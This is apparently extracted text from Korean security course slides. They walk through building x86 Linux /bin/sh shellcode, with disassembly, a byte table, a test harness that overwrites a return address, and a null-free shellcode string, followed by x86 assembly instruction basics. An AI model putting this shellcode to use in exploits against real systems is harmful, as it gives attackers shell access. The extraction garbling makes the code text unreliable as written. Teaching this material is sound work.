17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 23: 80×86  시스템에 대한 이해

23108

어셈블리어의 데이터 타입과 리틀 엔디언 방식

데이터 타입bull 바이트 (Byte) 1 바이트 (8 비트 ) 데이터 항목bull 워드 (Word) 2바이트 (16 비트 ) 데이터 항목bull 더블워드 (Doubleword) 4바이트 (32 비트 ) 데이터 항목

어셈블리어의 기본 문법과 명령

24108

어셈블리어의 데이터 타입과 리틀 엔디언 방식

리틀 엔디언 방식 2 개의 번지로 나누어 저장해야 하는 16 비트 데이터 (워드 ) 의 경우

하위 바이트는 하위 번지에 상위 바이트는 상위 번지에 저장

예 ) hex 값 0x34F3을 1500 번지에 저장하려면 하위값 0xF3 은

1500 번지에 상위 값 0x34 는 1501번지에 저장

어셈블리어의 기본 문법과 명령

25108

어셈블리어의 주소 지정 방식 레지스터 주소 지정 레지스터의 주소 값을 직접 지정 복사 처리 속도 가장 빠름

직접 메모리 주소 지정 가장 일반적인 주소 지정 방식 보통 피연산자 하나가 메모리 위치를 참조하고 다른 하나는 레지스터를 참조

( 예 )DS[8088h] 와 DS[1234h] 는 각각lsquo세그멘트 오프셋rsquo형식의

메모리에 직접 접근하는 방식

어셈블리어의 기본 문법과 명령

MOV DX BX

MOV AL DS[8088h]MOV DS[1234h] DL

26108

레지스터 간접 주소 지정 lsquo 세그멘트 오프셋rsquo형식을 사용

다음과 같이 기본이 아닌 세그먼트를 강제로 지정 할 수도 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX] MOV AL [BP]

MOV AL CS[BX] MOV AL DS[BP]

27108

인덱스 주소 지정 레지스터 간접 지정 방식에 변위가 더해진 메모리 주소 지정 방식 ( 예 )20h 만큼 더해 메모리를 참조한 명령

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+20h] MOV AL [BP+20h]

MOV AL 20h[BX] MOV AL 20h[BP]

28108

베이스 인덱스 주소 지정 실제 주소 생성 위해 베이스 레지스터 (BX 또는 BP) 와

인덱스 레지스터 (DI 또는 SI) 를 결합

2 차원 배열의 주소 지정에 사용

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI] MOV AL [BP+SI]

MOV AL [BX][SI] MOV AL [BP][SI]

29108

변위를 갖는 베이스 인덱스 주소 지정 베이스 - 인덱스의 변형으로 실제 주소 생성 위해

베이스 레지스터 인덱스 레지스터 변위 결합

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI+20h] MOV AL [BP+SI+20h]

30108

어셈블리어의 기본 명령 산술 연산 명령 기본적인 정수 계산

bull ADD(Add) 제 1 피연산자와 제 2 피연산자 값을 더한 결과 값을 제 1 피 연산자에 저장

bull SUB(Subtract) 제 1 피연산자에서 제 2 피연산자 값을 뺀 결과 값을 제 1 피연산자에 저장

bull CMP(Compare) 데이터의 두 값 비교 시 사용 lsquocmp a brsquo 의 경우 a 에서 b 를 뺀 값이0 이면 참

어셈블리어의 기본 문법과 명령

형식ADD [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

ADD AL 4

AL 이 원래 3이었다면 명령 실행 후 AL은 7이 된다

형식SUB [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

SUB AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

형식CMP [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

CMP AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

31108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

ADC Add with Carry 캐리를 포함한 덧셈을 수행한다

SBB Subtraction with borrow 캐리를 포함한 뺄셈을 수행한다

DEC Decrement 피연산자 내용을 하나 감소시킨다

NEG Change Sign 피연산자의 2 의 보수 즉 부호를 반전한다

INC Increment 피연산자 내용을 하나 증가시킨다

AAA ASCII adjust for add덧셈 결과의 AL 값을 UNPACK 10진수로 보정한다

DAA Decimal adjust for add 덧셈 결과의 AL 값을 PACK 10진수로 보정한다

AAS ASCII adjust for subtract뺄셈 결과의 AL 값을 UNPACK 10진수로 보정한다

32108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

DAS Decimal adjust for subtract 뺄셈 결과의 AL 값을 PACK 10진수로 보정한다

MUL Multiply(Unsigned) AX 와 피연산자의 곱셈 결과를 AX 또는 DXAX 에 저장한다

IMUL Integer Multiply(Signed) 부호화된 곱셈을 수행한다

AAM ASCII adjust for Multiply 곱셈 결과의 AX 값을 UNPACK 10진수로 보정한다

DIV Divide(Unsigned)AX 또는 DXAX 내용을 피연산자로 나눈다

몫은 AL 또는 AX 에 저장하고 나머지는 AH 또는 DX 에 저장한다

IDIV Integer Divide(Signed) 부호화된 나눗셈

AAD ASCII adjust for Divide 나눗셈 결과 AX 값을 UNPACK 10진수로 보정한다

CBW Convert byte to word AL 의 바이트 데이터를 부호 비트를 포함하여 AX 워드로 확장한다

CWDConvert word to double word

AX 의 워드 데이터를 부호를 포함하여 DXAX 의 더블 워드로 변환한다

33108

어셈블리어의 기본 명령 데이터 전송 명령 메모리 범용 레지스터 세그먼트 레지스터로 참조되는 주소에

존재하는 데이터 전송

bull MOV(Move) 데이터 이동할 때 사용

BP 의 현재 값이 0x10000004 라면 BP+8은 0x1000000C

0x1000000C 에 있는 값이 1024므로 AX 에는 1024 가 입력

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용 예

MOV AX [BP+8]

BP 의 주소에 8 더해진 주소에 있는 데이터

값을 AX 에 대입한다

34108

어셈블리어의 기본 명령 PUSH(Push) 스택에 데이터를 삽입할 때 사용

[ 그림 2-19] 와 같이 스택은 커지고 스택 포인터 (Stack Pointer)는

데이터 크기만큼 감소

어셈블리어의 기본 문법과 명령

35108

어셈블리어의 기본 명령 POP(Pop) 스택에서 데이터 삭제할 때 사용 스택에서 삭제된 명령은 반환 값으로

받아 사용 가능 [ 그림 2-20] 과 같이 스택 포인터는 삭제하는 데이터

크기만큼 증가

어셈블리어의 기본 문법과 명령

36108

어셈블리어의 기본 명령 LEA(Load effective address to register) 데이터의 값 이동할 때 사용

MOV 명령과 LEA 명령에서 제 1 피연산자는 데이터 이동 공통 제 2 피연산자에 대 한

추가 연산의 처리 방식은 다르다

제 2 피연산자에lsquo BP+4rsquo 가 있을 경우 MOV 명령은 lsquo BP+4rsquo 를 하나의 주소 값으로처리

LEA 명령은 lsquo BPrsquo 만 주소 값으로 인식 lsquo +4rsquo 는 BP 주소 값에 대한 추가 연산으로 처리

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

LEA AX [BP+4]

BP 의 현재 값이 0times10000004 라면 MOV 명령

처럼 BP+4 인 0times10000008 의 주소 값을 가져

오는 것이 아니라 0times10000004 의 주소에 있

는 값에 4 를 더해 AX 에 대입한다 ([ 그림 2-21] 참고 )

37108

어셈블리어의 기본 명령 기타 데이터 전송 명령 [ 표 2-8] 기타 데이터 전송 명령

어셈블리어의 기본 문법과 명령

명령 설명

XCHGExchange Register

Memory with Register

첫 번째 피연산자와 두 번째 피연산자를 바꾼다

INInput from AL AX to Fixed port

피연산자로 지시된 포트로 AX 에 데이터를 입력한다

OUTOutput from ALAX to Fixed port

피연산자가 지시한 포트로 AX 의 데이터를 출력한다

XLATTranslate byte to AL

BXAL 이 지시한 테이블의 내용을 AL 로 로드한다

LDS Load Pointer to DSLEA 명령과 유사한 방식으로 다른 DS 데이터의 주소의 내용을 참조 시

사용한다

LES Load Pointer to ESLEA 명령과 유사한 방식으로 다른 ES 데이터의 주소의 내용을 참조 시

사용한다

LAHF Load AH with Flags 플래그의 내용을 AH 의 특정 비트로 로드한다

SAHF Store AH into Flags AH 의 특정 비트를 플래그 레지스터로 전송한다

PUSHF Push Flags 플래그 레지스터의 내용을 스택에 삽입한다

POPF Pop Flags 스택에 저장되어 있던 플래그 레지스터 값을 삭제한다

38108

어셈블리어의 기본 명령 논리 명령 연산부호가 논리연산을 지정하는 명령으로 자리옮김 논리 합 (OR)

논리곱 (AND) 기호 변환 등이 있다bull AND(And) 대응되는 비트가 둘 다 1 일 때만 결과가 1 이고 그 이외는 모두 0

어셈블리어의 기본 문법과 명령

형식 AND [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

AND AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1000이 된다

AX 1 0 0 0

0times10h 1 0 1 0

AND 연산 결과 1 0 0 0

39108

어셈블리어의 기본 명령

bull OR(Or) 대응되는 비트 중 하나만 1 이어도 결과가 1 이고 둘 다 0 인 경우에만 0

어셈블리어의 기본 문법과 명령

형식 OR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

OR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 1 0 1 0

40108

어셈블리어의 기본 명령

bull XOR(Exclusive Or) 대응되는 비트 중에서 한 비트가 1 이고 다른 비트가 0 이면 1 두 개의

비트가 모두 0 또는 1 일 때 0

어셈블리어의 기본 문법과 명령

형식 XOR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

XOR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 0010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 0 0 1 0

41108

어셈블리어의 기본 명령

bull NOT(Invert) 피연산자의 1 의 보수를 구하는 작동 코드로 각 비트를 반전

어셈블리어의 기본 문법과 명령

형식 NOT [ 제 1 피연산자 ]

사용 예

NOT AX

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

명령을 수행한 뒤에 AX 값은 0111 이 된다

AX 1 0 0 0

NOT 연산 결과 0 1 1 1

42108

어셈블리어의 기본 명령

bull Test(And function to flags no result) 데이터의 두 값 비교할 때 사용 데이터의 변경 없이 단순 비교

어셈블리어의 기본 문법과 명령

형식 TEST [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

TEST AL 00001001b

AL 레지스터에 비트 0 과 비트 3 이 둘 다 0 인지 확인하고 싶으면

제 2 피연산자에 비트 0( 오른쪽의 첫 번째 비트 ) 과 비트 3(오른쪽부

터 네 번째 비트 ) 에 1 을 적어주고 나머지에는 0 을 적어준 후 TEST

명령을 실행한다 AL 의 비트 0 과 비트 3 이 모두 0 이라면 ZF(Zero

Flag) 가 세트된다 비트 0 와 비트 3 중 하나라도 1 이면 ZF는 클리

어된다 AX 가 0x08h 라면 비트 3 이 1 이므로 ZF 는 클리어된다

AL 1 0 0 0

00001001b 1 0 0 1

43108

어셈블리어의 기본 명령

bull 기타 논리 명령 데이터의 두 값을 비교할 때 사용 데이터의 변경 없이 단순 비교bull [ 표 2-9] 기타 논리 명령

어셈블리어의 기본 문법과 명령

명령 설명

SHL SAL

Shift Leftarithmetic Left 왼쪽으로 피연산자만큼 자리 이동

SHR SARShift Right Shift arithmetic Right

오른쪽으로 피연산자만큼 자리 이동

ROL Rotate Left 왼쪽으로 피연산자만큼 회전 이동

ROR Rotate Right 오른쪽으로 피연산자만큼 회전 이동

RCL Rotate through carry left자리올림 (Carry) 을 포함하여 왼쪽으로 피연산자만큼 회전 이동

RCR Rotate through carry Right자리올림 (Carry) 을 포함하여 오른쪽으로 연산자

만큼 회전이동

44108

어셈블리어의 기본 명령 스트링 명령 바이트로 구성된 스트링 (strings of bytes) 을 메모리 내에서 전송

bull REP(Repeat) ADD 나 MOVS 와 같은 작동 코드의 앞에 위치 CX 가 0 이 될 때까지 뒤에 오는 스트링 명령 반복

bull MOVS(Move String) 바이트나 워드 더블워드 옮기는 명령 MOVSB MOVSW MOVSD 가 있다 DSSI 가 지시한 메모리 데이터를 ES DI 가 지시한 메모리로 전송

어셈블리어의 기본 문법과 명령

형식 REP 작동코드 -

형식 MOVSB

사용예

CLD

LEA SI String_1

LEA DI String_2

MOV CX 384

REP MOVSB

- CLD (Clear Direction) 디렉션 플래그를 지움

- LEA SI String_1 String 1 의 주소 값을 SI(Source Index) 에 저장

- LEA DI String_2 String 2 의 주소 값을 DI(Destination Index) 에 저장

- MOV CX 384 CX 에 384 저장

- REP MOVSB SI 로부터 DI까지 CX 가 0 이 될 때까지 1 바이트씩 복사

45108

어셈블리어의 기본 명령

bull 기타 스트리밍bull [ 표 2-10] 기타 스트링 명령

어셈블리어의 기본 문법과 명령

명령문 설명

CMPSCompare String

DS SI 와 ES DI 의 내용을 비교한 결과에 따라 플래그를 설정한다

SCAS Scan StringAL 또는 AX 와 ESDI 가 지시한 메모리 내용을 비교한 결과에

따라 플래그를 설정한다

LODS Load String SI 내용을 AL 또는 AX 로 로드한다

STOS Store String AL 또는 AX 를 ES DI 가 지시하는 메모리에 저장한다

46108

어셈블리어의 기본 명령 제어 전송 명령 점프 ( 분기 Jump) 조건 점프 ( 조건 분기 Conditional jump)

루프 (Loop) 호출 (Call) 과 리턴 (Return) 연산 등으로

프로그램의 흐름 제어

bull JMP(Unconditional Jump) 대표적인 점프 명령 프로그램을 실행할 주소 또는 라벨로 이동

어셈블리어의 기본 문법과 명령

형식 JMP [ 제 1 피연산자 ]

사용 예

JMP 100h

주소로 직접 지정한 100h 번지로 점프한다

string MOV CX 384

JMP string

라벨로 JMP 를 지정하는 경우다

47108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JC carry flag set CF = 1 CF 값이 1 이면 점프

JNC not carry flag set CF = 0 CF 값이 0 이면 점프

JEJZ Equal Zero ZF = 1 결과가 0 이면 점프

JAJNBEabovenot below nor equal

CF = 0 and ZF = 0

결과가 크면 점프 ( 부호화 안된 수 )

JAEJNBabove or equalnot below

CF = 0결과가 크거나 같으면 점프 ( 부호화 안된 수 )

JBJNAEbelownot above nor equal

CF = 1 결과가 작으면 점프 ( 부호화 안된 수 )

JLJNGElessnot greater nor equal

SF = OF 결과가 작으면 점프 ( 부호화된 수 )

JBEJNAbelow or equalnot above

